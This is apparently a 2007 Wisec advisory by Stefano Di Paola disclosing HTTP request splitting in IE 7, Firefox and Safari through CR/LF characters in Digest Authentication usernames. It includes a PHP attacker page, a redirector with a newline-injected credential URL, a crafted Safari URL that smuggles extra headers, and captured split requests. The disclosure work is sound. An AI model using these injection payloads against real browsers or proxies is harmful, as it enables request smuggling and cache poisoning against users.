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IE 7 and Firefox Browsers Digest Authentication Request Splitting

Updated on 27th April 2007 see [updated details here](#)

Safari is also affected by this issue.

Title:

IE 7 and Firefox Browsers Digest Authentication

Original Discovery and Research:

Stefano Di Paola

Vulnerable:

Internet Explorer 7.0.5730.11 Mozilla Firefox 2.0.0.3

Severity:

Medium

Vendor :

<http://www.microsoft.com/> <http://www.mozilla.com/>

Type of Vulnerability:

HTTP Request Splitting

Tested On :

Firefox 2.0.0.3 under Windows XP SP2, Firefox 2.0.0.3 under Ubuntu 6.06, Internet Explorer SP2 under Windows XP SP2.

Discovery Date :

20070213

Release Date :

20070425

I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when Digest Authentication occurs. If anyone wants to know about HTTP Request Splitting, HTTP Request Splitting attacks are described in various papers and advisories:

1. <http://www.securityfocus.com/archive/1/411585>
2. <http://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html>
3. <http://download2.rapid7.com/r7-0026/>
4. [<http://www.wisec.it/docs.php?id=4> (PDF, About Auto Injection with Req.Split.)](<http://www.wisec.it/docs.php?id=4>)

II) Long description

As explained in Rfc2617 (<http://www.ietf.org/rfc/rfc2617.txt>) Digest Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:

```
--8<--8<--8<--8<--8<--8<--8<--8<--8<
```

★★

The first time the client requests the document, no Authorization header is sent, so the server responds with:

```
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
    realm="testrealm@host.com",
    qop="auth,auth-int",
    nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
    opaque="5ccc069c403ebaf9f0171e9517f40e41"
```

The client may prompt the user for the username and password, after which it will respond with a new request, including the following Authorization header:

```
Authorization: Digest username="Mufasa",
    realm="testrealm@host.com",
    nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
    uri="/dir/index.html",
    qop=auth,
    nc=00000001,
    cnonce="0a4f113b",
    response="6629fae49393a05397450978507c4ef1",
    opaque="5ccc069c403ebaf9f0171e9517f40e41"
```

★★

```
--8<--8<--8<--8<--8<--8<--8<--8<--8<
```

So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:

★★

```
XMLHttpRequest("GET","page",async, "user","pass");
```

★★

And with img/iframes or related:

★★

```

```

★★

But what if the username contains `\r\n` or urlencoded `%0d%0a`?

Let's use an Evil page like this:

```
--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<
**
<?php
header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
    header('HTTP/1.0 401 Authorization Required');
    header('WWW-Authenticate: Digest realm="1@example.com", \
qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",\
opaque="5ccc069c403ebaf9f0171e9517f40e41"');
    header('Proxy-Connection: keep-alive');
} else {
    // header("Set-Cookie: PHPSESSID=0");
}
header('Connection: keep-alive');
?>
<html><head>
<meta http-equiv='Connection' content="keep-alive"></head>
<body><script>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');
</script>
</body>
</html>
**
--8<--8<--8<--8<--8<--8<--8<--8<
```

Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:

**

```

```

**

Let's see what happens after the first request:

```
--8<--8<--8<--8<--8<--8<--8<--8<
```

**

HTTP/1.1 401 Authorization Required

Set-Cookie: PHPSESSID=6555

WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093"

Proxy-Connection: keep-alive

Connection: keep-alive, Keep-Alive

Content-Length: 146

Keep-Alive: timeout=15, max=100

Content-Type: text/html; charset=UTF-8

...

**

```
--8<--8<--8<--8<--8<--8<--8<--8<
```

and then Firefox resend its request:

```
--8<--8<--8<--8<--8<--8<--8<--8<
```

**

GET /req.php HTTP/1.1

Host: at.tack.er

User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3)

Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)

Keep-Alive: 300

Connection: keep-alive

Authorization: Digest username="user

name", realm="1@example.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c"

Cookie: PHPSESSID=6555

**

```
--8<--8<--8<--8<--8<--8<--8<--8<
```

Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a second request, and in presence of a proxy (about 2 million people use it), a request splitting attack could be accomplished.

IV) Firefox Add-On

A redirection could be used:

**

```

```

**

With redir.php :

**

```
<?php
```

```
header("Location: http://user%0aname:ds@evilhost/req.php");
```

```
?>
```

**

Or by using various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other direct requests.

V) XMLHttpRequest Authentication

It looks like **Safari** is also affected by this issue.

Request url:

http://user%0aX-Foobar%3A%20uhoh%0aAuthorization%3A%20Digest%20username="name:pass@evilhost.tld/foo/

GET /foo/ HTTP/1.1

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)

AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Paros/3.2.13

Authorization: Digest username="user

X-Foobar: uh-oh

Authorization: Digest username=\"name\", realm=\"private\",

nonce=\"8tV0WgcvBAA=3efa17bd9bf4ac5f2bb9169880d6737708acfee0\",

uri=\"/foo/\", response=\"facc3cb14eb07ad325696d05223038d3\",

algorithm=\"MD5\", cnonce=\"a6071432b914d781a08fe75ce2c13af7\",

nc=00000001, qop=\"auth\"

Connection: keep-alive

Proxy-Connection: keep-alive

Host: evilhost.tld

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Florence, 25th April 2007

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.

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